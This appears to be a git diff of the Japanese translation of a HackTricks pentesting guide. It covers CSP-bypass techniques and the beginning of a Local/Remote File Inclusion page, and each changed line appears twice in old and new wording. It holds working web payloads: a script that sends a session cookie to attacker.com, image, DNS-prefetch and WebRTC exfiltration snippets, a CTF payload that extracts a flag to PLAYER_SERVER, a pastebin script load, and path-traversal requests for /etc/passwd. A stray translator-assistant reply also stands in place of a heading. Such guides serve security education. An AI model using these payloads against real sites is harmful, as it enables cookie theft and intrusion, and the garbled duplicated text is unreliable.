このCSPは画像を介してデータを外部へ送信して回避できます（この場合、XSSがCSRFを悪用し、botがアクセスできるページにSQLiがあり、画像でフラグを抽出します）：
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
出典: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
この設定を悪用して、**画像に埋め込まれた javascript コードをロードする**こともできます。たとえば、ページが Twitter からの画像読み込みを許可している場合、**特殊な画像**を**作成**して Twitter に**upload**し、"**unsafe-inline**" を悪用して（通常の XSS として）JS コードを**実行**させ、そのコードが**画像を load**して画像から**JS**を**抽出**し、**実行**する、という手口です: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
この設定を悪用して、**画像に挿入されたjavascriptコードを読み込む**こともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、**特殊な画像**を**作成**してTwitterに**アップロード**し、"**unsafe-inline**"を悪用して通常の**XSS**のように**JS**コードを**実行**させ、その画像を**読み込み**、そこから**JS**を**抽出**して**実行**することができます: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Service Workers を利用した場合
### Service Workersを使って
Service workers の **`importScripts`** 関数は CSP によって制限されません:
Service workers **`importScripts`** 関数は CSP によって制限されません:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
@ -464,29 +465,29 @@ Service workers **`importScripts`** 関数は CSP によって制限されませ
### Policy Injection
**研究:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
**調査:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
もしあなたが送信した**parameter**が**policy**の**declaration**に**pasted inside**される場合、**policy**を**alter**して**it useless**にすることができます。これらのバイパスのいずれかで**allow script 'unsafe-inline'**を許可できます:
もしあなたが送信した**parameter**が**pasted inside** the **declaration** of the **policy**に挿入される場合、**policy**を何らかの形で**alter**して無効化（**it useless**）することが可能です。以下のいずれかのバイパスで**allow script 'unsafe-inline'**させることができます:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
なぜならこのディレクティブは **既存の script-src directives を上書きします**。\
例はここで確認できます: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
このディレクティブは **既存の script-src ディレクティブを上書きします**。\
例はこちらで確認できます: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Edgeではもっと簡単です。CSPにこれだけ **`;_`** を追加できれば、**Edge** は **ポリシー** 全体を **破棄** します。\
Edge ではさらに簡単です。CSP にこれだけを追加できれば: **`;_`**、**Edge** はポリシー全体を **drop** します。\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Time attack
### img-src \*; XSS (iframe) 経由 - Time attack
Notice the lack of the directive `'unsafe-inline'`\
今回は `<iframe` を使った **XSS** により、被害者に **あなたが管理する** ページを **読み込ませる** ことができます。今回は、被害者に情報を抽出したいページへアクセスさせます（**CSRF**）。ページの内容にアクセスすることはできませんが、もし何らかの方法でページの読み込みに要する時間を **制御できる** なら、必要な情報を抽出できます。
ディレクティブ `'unsafe-inline'` がないことに注意してください。\
今回は `<iframe>` を使った **XSS** によって被害者にあなたの管理するページを **load** させることができます。今回は、情報を抽出したいページへ被害者にアクセスさせます（**CSRF**）。ページの内容にはアクセスできませんが、もしページの読み込みにかかる時間を何らかの方法で **control** できれば、必要な情報を抽出できます。
今回は **flag** が抽出されます。**SQLi** によって **char が正しく推測される** と、sleep function のために **response** が **より長い時間** かかります。すると、flag を抽出することができます:
今回は **flag** を抽出します。SQLi によって **char が正しく推測された** 場合、sleep 関数のために **response がより時間を要する** ようになります。すると、flag を抽出できるようになります：
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -546,24 +547,24 @@ console.log(prefix)
run()
</script>
```
### Bookmarklets を介して
### Bookmarklets を使った攻撃
この攻撃は、攻撃者が **ユーザを説得してブラウザの bookmarklet 上にリンクを drag\&dropped させる** ような social engineering を含みます。 この bookmarklet は **悪意のある javascript** コードを含み、drag\&dropped またはクリックされたときに現在のウェブウィンドウのコンテキストで実行され、**CSP をバイパスして cookies や tokens のような機密情報を窃取できる** ようにします。
この攻撃はソーシャルエンジニアリングを伴い、攻撃者が**ユーザーにブラウザの bookmarklet の上にリンクを drag and drop するよう説得する**ことを想定します。この bookmarklet には **malicious javascript** コードが含まれており、drag\&dropped またはクリックされると現在のウェブウィンドウのコンテキストで実行され、**CSP をバイパスして cookies や tokens のような機密情報を盗むことができます**。
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
詳細は[**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)をご覧ください。
### CSP bypass by restricting CSP
### CSP を制限して CSP をバイパス
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **別のスクリプトを悪用して任意のスクリプトを読み込ませる**。
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
You can **iframe の CSP を制限する** with the **`csp`** attribute:
**Iframe の CSP を制限する**には、**`csp`** 属性を使用できます:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48) では **HTML injection** によって **CSP** をさらに **restrict** でき、CSTI を防ぐスクリプトが無効化されたため、結果として **vulnerability became exploitable.**\
CSP は **HTML meta tags** を使ってさらに制限的にでき、inline scripts はそれらの **nonce** を許可する **entry** を **removing** して無効化でき、また **enable specific inline script via sha** により特定のインラインスクリプトを有効化できる:
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48)では、**HTML injection**を介して**CSP**をさらに制限できたため、CSTIを防ぐスクリプトが無効化され、したがって**vulnerability became exploitable.**\
CSPは**HTML meta tags**を使用してより厳格に設定でき、inline scriptsはそれらの**nonce**を許可する**entry**を**removing**することで無効化でき、**sha**を使って特定のinline scriptを有効にすることができます:
```html
<meta
http-equiv="Content-Security-Policy"
@ -572,57 +573,57 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS exfiltration with Content-Security-Policy-Report-Only
### Content-Security-Policy-Report-Only を使った JS exfiltration
サーバーがヘッダ **`Content-Security-Policy-Report-Only`** を（CRLFなどで）あなたが制御する**値**で返すようにできれば、レポート先をあなたのサーバーに向けることができます。さらに、漏洩させたい**JS content**を**`<script>`**でラップすると、`unsafe-inline`がCSPで許可されている可能性は低いため、**CSPエラーを引き起こし**、スクリプトの一部（機密情報を含む）が `Content-Security-Policy-Report-Only` からサーバーへ送信されます。
サーバーがヘッダ **`Content-Security-Policy-Report-Only`** を（あなたが制御する値で）（CRLF 等の影響で）返すようにできれば、レポート先をあなたのサーバーに向けさせることができます。さらに、exfiltrate したい **JS content** を **`<script>`** でラップすると、`unsafe-inline` が CSP で許可されている可能性は非常に低いため、これが **CSP エラーをトリガー** し、スクリプトの一部（機密情報を含む）が `Content-Security-Policy-Report-Only` を通じてあなたのサーバーに送信されます。
例として[**このCTFの解説を参照**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
例としては [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Leaking Information with CSP and Iframe
### CSPとIframeによる Leaking Information
- `iframe` が作成され、CSP によって許可されている URL（ここでは `https://example.redirect.com` と呼ぶ）を指します。
- この URL は秘密の URL（例: `https://usersecret.example2.com`）にリダイレクトし、これは CSP によって **許可されていない**。
- `securitypolicyviolation` イベントを監視することで、`blockedURI` プロパティを取得できます。 このプロパティはブロックされた URI のドメインを明らかにし、初期の URL がリダイレクトした秘密のドメインを leaking します。
- `iframe` が作成され、CSP によって許可された URL（例: `https://example.redirect.com`）を指します。
- この URL はその後、CSP によって **許可されていない** 秘密の URL（例: `https://usersecret.example2.com`）にリダイレクトします。
- `securitypolicyviolation` イベントを監視することで、`blockedURI` プロパティを取得できます。このプロパティはブロックされた URI のドメインを明らかにし、初期の URL がリダイレクトした秘密のドメインを leaking します。
興味深いことに、Chrome や Firefox のようなブラウザは CSP に関して `iframe` の扱いが異なり、未定義の挙動により機密情報が露出する可能性があります。
Chrome や Firefox のようなブラウザは CSP に関する iframe の扱いで挙動が異なる点は興味深く、未定義の挙動により機密情報が leak する可能性があります。
別の手法は、CSP 自体を悪用して秘密のサブドメインを推測することです。この方法は二分探索アルゴリズムに依存しており、意図的にブロックする特定のドメインを含めるように CSP を調整します。例えば、秘密のサブドメインが未知の文字で構成されている場合、CSP ディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下はこの手法を容易にするために CSP を設定する際のスニペットです:
別の手法として、CSP 自体を悪用して秘密のサブドメインを推測する方法があります。この手法は二分探索アルゴリズムに依存し、意図的にブロックする特定のドメインを含めるように CSP を調整します。例えば、秘密のサブドメインが未知の文字で構成されている場合、CSP ディレクティブを変更してこれらのサブドメインをブロックあるいは許可することで、異なるサブドメインを反復的にテストできます。以下はこの手法を容易にするために CSP をどのように設定するかを示すスニペットです:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
CSPによってブロックされるまたは許可されるリクエストを監視することで、秘密のサブドメインに含まれる可能性のある文字を絞り込み、最終的に完全なURLを特定できる。
CSPによってブロックされるまたは許可されるリクエストを監視することで、秘密サブドメインの可能な文字を絞り込み、最終的に完全なURLを特定することができる。
両手法とも、ブラウザにおけるCSPの実装や振る舞いの細かな差を突くもので、一見安全に見えるポリシーが意図せずに機密情報をleakしてしまうことを示している。
どちらの手法も、CSPの実装やブラウザでの挙動の微妙な違いを突いており、一見安全そうなポリシーが結果的に機密情報を leak する可能性があることを示している。
Trick from [**here**](https://ctftime.org/writeup/29310).
## CSPをバイパスする危険な技術
## CSP をバイパスする危険な技術
### PHPエラー（パラメータが多すぎる場合）
### PHP: パラメータが多すぎるときのエラー
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger.
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **送信されなくなる** because of the error that this will trigger.
### PHPレスポンスバッファのオーバーロード
### PHP レスポンスバッファのオーバーロード
PHPはデフォルトでレスポンスを4096バイトまでバッファリングすることで知られている。したがって、PHPが警告を出している場合、警告内に十分なデータを含めることで、レスポンスがCSPヘッダより先に送信され、ヘッダが無視される。\
つまり、この手法はレスポンスバッファを警告で埋めてCSPヘッダが送信されないようにする、というものだ。
PHPはデフォルトで **レスポンスを4096バイトまでバッファリングする** と知られている。したがって、PHPが警告を出している場合、**警告内に十分なデータを入れる**ことで、**レスポンス**が**CSP header**よりも**先に****送信される**ことになり、そのヘッダは無視される。\
この手法は基本的に**レスポンスバッファを警告で埋める**ことでCSPヘッダが送信されないようにする、というものだ。
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### max_input_varsによるCSPの無効化（headers already sent）
### max_input_vars を利用して CSP を無効化する (headers already sent)
ヘッダは出力より先に送信されなければならないため、PHPが出す警告が後続のheader()呼び出しを無効化することがある。ユーザー入力がmax_input_varsを超えると、PHPは最初に起動時の警告を投げる；その後に行われるheader('Content-Security-Policy: ...')は“headers already sent”で失敗し、結果的にCSPが無効化され、本来ブロックされるはずのreflective XSSが許可されてしまう。
ヘッダは出力より前に送信されなければならないため、PHPが出す警告によって後続の `header()` 呼び出しが無効化されることがある。ユーザ入力が `max_input_vars` を超えると、PHPは最初に startup warning を投げる；その後の `header('Content-Security-Policy: ...')` は “headers already sent” で失敗し、結果的に CSP が無効化され、ブロックされていた reflective XSS が許可される。
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
例：
翻訳したい README.md の内容を貼ってください。コード、タグ、リンク、パスはそのまま残して翻訳します。
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
@ -634,7 +635,7 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
```
### エラーページの書き換え
[**this writeup**](https://blog.ssrf.kr/69) によると、エラーページ（場合によっては CSP が適用されていない）を読み込み、その内容を書き換えることで CSP 保護を回避できたようです。
[**this writeup**](https://blog.ssrf.kr/69)から判断すると、エラーページ（CSPが適用されていない可能性あり）を読み込み、その内容を書き換えることで CSP 保護を回避できたようです。
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -643,40 +644,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOMEは、XSS（または高度に制限されたXSS）をページの**endpoint**で悪用し、同一オリジンの**他のendpoint**を**悪用**するテクニックです。これは、攻撃者ページから脆弱な**endpoint**を読み込み、その攻撃者ページを悪用したい同一オリジン内の実際の**endpoint**へリフレッシュすることで実行されます。こうすることで、**vulnerable endpoint**は**payload**内の**`opener`**オブジェクトを使って、**real endpoint to abuse**の**DOM**に**アクセス**できます。詳細は以下を参照してください：
SOMEは、XSS（または非常に限定的なXSS）をページのあるエンドポイントで悪用して、同一オリジンの他のエンドポイントを悪用する手法です。これは攻撃者ページから脆弱なエンドポイントを読み込み、その攻撃者ページを悪用したい同一オリジンの実際のエンドポイントへリフレッシュすることで実行されます。こうすることで、**脆弱なエンドポイント**は**`opener`**オブジェクトをpayload内で使用して、悪用対象の実際のエンドポイントのDOMにアクセスできます。詳細は次を参照してください：
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`という**JSONP**endpointがあり、送信された**data**を出力に**reflect**します（英数字とドットのみという制限付き）。
さらに、**wordpress**には`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、送信した**data**を出力に**reflect**します（英字・数字・ドットのみ許可という制限付き）。
攻撃者はそのendpointを悪用してWordPressに対する**SOME attack**を**generate**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`の中に**embed**することができます。なお、この**script**は**'self'によってallowed**されているため**loaded**されます。さらに、WordPressがインストールされているため、攻撃者は**vulnerable**な**callback**endpointを介して**SOME attack**を悪用し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりする可能性があります...\
詳細な実行手順については [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) を参照してください。
攻撃者はそのエンドポイントを悪用してWordPressに対する**SOME attackを生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` の中に**embed**することができます。なおこの**script**は**'self' によって許可されている**ため**loaded**されます。さらに、WordPressがインストールされているため、攻撃者は脆弱な**callback**エンドポイントを通じて**SOME attack**を悪用し、**bypasses the CSP**してユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりする可能性があります...\
この攻撃の実行方法の詳細については次を参照してください: [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
## CSP 情報持ち出しバイパス
厳格なCSPが**外部サーバーとやり取りする**ことを許可していない場合でも、情報をエクスフィルトレーションするために常に可能ないくつかの手段があります。
厳格なCSPにより**外部サーバーとやり取りする**ことが許可されていない場合でも、情報を持ち出すために常にできることがいくつかあります。
### Location
単純にlocationを更新して、秘密情報を攻撃者のサーバーへ送信することができます：
単純にlocationを更新して、秘密情報を攻撃者のサーバーに送ることができます：
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
meta tagを注入してリダイレクトできます（これは単なるリダイレクトで、コンテンツを leak しません）
meta tagを注入してリダイレクトできます（これは単なるリダイレクトで、コンテンツをleakすることはありません）
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
ページの読み込みを高速化するため、ブラウザはホスト名を事前に解決してIPアドレスに変換し、後で使用するためにキャッシュします。\
ブラウザにホスト名を事前解決するよう指示するには: `<link rel="dns-prefetch" href="something.com">`
ページをより速く読み込むため、ブラウザはホスト名を事前に解決してIPアドレスに変換し、後で使用するためにキャッシュします。\
ブラウザにホスト名を事前解決させるには: `<link rel="dns-prefetch" href="something.com">`
この挙動を悪用して、**exfiltrate sensitive information via DNS requests**:
この挙動を悪用して **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -693,7 +694,7 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
これが発生するのを回避するために、サーバーは次のHTTPヘッダーを送信できます:
このような事態を防ぐために、サーバーは次の HTTP header を送信できます:
```
X-DNS-Prefetch-Control: off
```
@ -702,9 +703,9 @@ X-DNS-Prefetch-Control: off
### WebRTC
いくつかのページには、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と書かれています。
いくつかのページでは、**WebRTCがCSPの`connect-src`ポリシーをチェックしない**と書かれています。
実際には、_DNS request_ を使って情報を _leak_ できます。以下のコードを確認してください:
実際には、_DNS request_ を使って情報を _leak_ することができます。以下のコードを見てください:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -712,7 +713,7 @@ p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()
```
別の選択肢：
別のオプション:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
@ -726,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
credential popup はページによる制限を受けずに iconURL に対して DNS リクエストを送信します。これは secure context (HTTPS) または localhost 上でのみ動作します。
資格情報ポップアップは、ページによって制限されることなくiconURLに対してDNSリクエストを送信します。これは安全なコンテキスト（HTTPS）またはlocalhost上でのみ動作します。
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -739,14 +740,14 @@ iconURL:"https:"+your_data+"example.com"
```
## CSPポリシーをオンラインで確認
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## CSPの自動生成
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## 参考資料
## 参考文献
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
@ -759,4 +760,5 @@ iconURL:"https:"+your_data+"example.com"
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
​
{{#include ../../banners/hacktricks-training.md}}

312
src/pentesting-web/file-inclusion/README.md
View File

@ -4,14 +4,14 @@
## File Inclusion
**Remote File Inclusion (RFI):** リモートサーバーからファイルが読み込まれます（強力: 自分でコードを書き、サーバー上で実行させることができます）。phpではこれはデフォルトで**無効**になっています（**allow_url_include**）。\
**Local File Inclusion (LFI):** サーバーがローカルのファイルを読み込みます。
**Remote File Inclusion (RFI):** ファイルがリモート server から読み込まれる（ベスト: あなたがコードを書き、その server が実行する）。php ではこれはデフォルトで **無効** です（**allow_url_include**）。\
**Local File Inclusion (LFI):** sever がローカルファイルを読み込む。
この脆弱性は、ユーザーがサーバーが読み込むファイルを何らかの形で制御できる場合に発生します。
この脆弱性は、ユーザーが何らかの方法で server によって読み込まれるファイルを制御できる場合に発生する。
脆弱になりやすい **PHP 関数**: require, require_once, include, include_once
脆弱な PHP 関数: require, require_once, include, include_once
この脆弱性を悪用する便利なツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
この脆弱性を悪用するための興味深いツール: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
```python
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
```
### **Linux**
**いくつかの *nix LFI リストを組み合わせ、さらにパスを追加して作成したものです：**
**いくつかの \*nix LFI リストを組み合わせ、さらにパスを追加してこれを作成しました：**
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
また、`/` を `\` に変更してみてください\.
また、`../../../../../` を追加してみてください
また `/` を `\`\ に変更してみてください\
また `../../../../../` を追加してみてください
脆弱性の有無を確認するために /etc/password ファイルを見つけるいくつかのテクニックを使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります
/ etc /password ファイルを見つけるために複数の手法を使っているリスト（脆弱性の存在を確認するため）は [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) にあります
### **Windows**
異なる wordlists のマージ：
異なるワードリストのマージ：
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
また、`/` を `\` に変更してみてください\.
また、`C:/` を削除して `../../../../../` を追加してみてください
また `/` を `\`\ に変更してみてください\
`C:/` を削除して `../../../../../` を追加してみてください
脆弱性の有無を確認するために /boot.ini ファイルを見つけるいくつかのテクニックを使用するリストは [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります
/boot.ini ファイルを見つけるために複数の手法を使っているリスト（脆弱性の存在を確認するため）は [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) にあります
### **OS X**
linux の LFI リストを確認してください。
Linux の LFI リストを参照してください。
## Basic LFI and bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
以下の例はすべて Local File Inclusion 向けですが、Remote File Inclusion にも適用できます (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### トラバーサルシーケンスが非再帰的に除去される
### traversal sequences が非再帰的に削除される
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,59 +63,59 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
提供された文字列の末尾に余分な文字が追加される処理をBypassする（bypass of: $\_GET\['param']."php")
提供された文字列の末尾に追加される余分な文字をBypassする (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
これは **PHP 5.4 以降で修正されています**
### **Encoding**
### **エンコーディング**
double URL encode (and others) のような非標準のエンコーディングを使用できます:
非標準のエンコーディング（double URL encode など）を使用できます:
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 既存フォルダから
### 既存のフォルダから
おそらくバックエンドがフォルダパスをチェックしている:
もしかすると back-end がフォルダのパスをチェックしている:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### サーバー上のファイルシステムディレクトリの探索
サーバーのファイルシステムは、特定の手法を用いることでファイルだけでなくディレクトリを再帰的に探索できます。このプロセスはディレクトリの深さを特定し、特定のフォルダの存在を確認することを含みます。以下はこれを実現するための詳細な方法です：
サーバーのファイルシステムは、特定の手法を用いて再帰的に探索し、ファイルだけでなくディレクトリを特定できます。このプロセスでは、ディレクトリの深さを把握し、特定のフォルダの存在を確認します。以下はその詳細な方法です：
1. **Determine Directory Depth:** 現在のディレクトリの深さは、`/etc/passwd` ファイルを正常に取得することで判定します（サーバーが Linux ベースの場合に適用）。例として、深さが3であることを示す URL は次のように構成される場合があります：
1. **ディレクトリの深さを特定する:** 成功裏に `/etc/passwd` を取得することで、現在のディレクトリの深さを特定します（サーバーが Linux ベースの場合に適用）。以下は深さが三であることを示す例のURL構造です：
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **フォルダの探索:** 疑わしいフォルダ名（例: `private`）をURLに追加し、次に`/etc/passwd`に戻ってアクセスします。追加のディレクトリレベルにより、depthを1つ増やす必要があります：
2. **フォルダを調査する:** URLに疑わしいフォルダ名（例：`private`）を追加してから、`/etc/passwd` に戻ってアクセスします。追加のディレクトリ階層があるため、depthを1つ増やす必要があります:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **結果の解釈:** サーバーのレスポンスはフォルダが存在するかどうかを示します:
- **エラー / 出力なし:** 指定した場所にフォルダ `private` は存在しない可能性が高い。
- **`/etc/passwd` の内容:** `private` フォルダの存在が確認されます。
4. **再帰的な探索:** 発見したフォルダは、同じ手法や従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調べることができます。
3. **結果の解釈:** サーバーの応答によりフォルダが存在するかどうかがわかります:
- **Error / No Output:** 指定された場所に `private` フォルダが存在しない可能性が高いです。
- **Contents of `/etc/passwd`:** `private` フォルダの存在が確認されます。
4. **Recursive Exploration:** 発見したフォルダは、同じ手法または従来の Local File Inclusion (LFI) 手法を使ってサブディレクトリやファイルをさらに調査できます。
ファイルシステムの異なる場所にあるディレクトリを調べるには、ペイロードを適宜調整してください。例えば、カレントディレクトリの深さが3であると仮定して、`/var/www/` に `private` ディレクトリが含まれているか確認するには:
ファイルシステム内の別の場所にあるディレクトリを探索するには、payload を適宜調整してください。例えば、カレントディレクトリが深さ3にあると仮定して、`/var/www/` に `private` ディレクトリがあるか確認するには:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncationは、ウェブアプリケーションにおけるfile pathsを操作するために用いられる手法です。file pathsの末尾に追加文字を付加するようなセキュリティ対策を回避してrestricted filesにアクセスするために使われることが多いです。目的は、セキュリティ対策によって変更された後でも依然として目的のファイルを指すfile pathを作成することです。
Path truncationは、ウェブアプリケーションのファイルパスを操作するために用いられる手法です。通常、ファイルパスの末尾に追加の文字を付け加えるセキュリティ対策をバイパスして、制限されたファイルにアクセスするために使われます。目的は、セキュリティ対策によって変更されたとしても、依然として目的のファイルを指すファイルパスを作成することです。
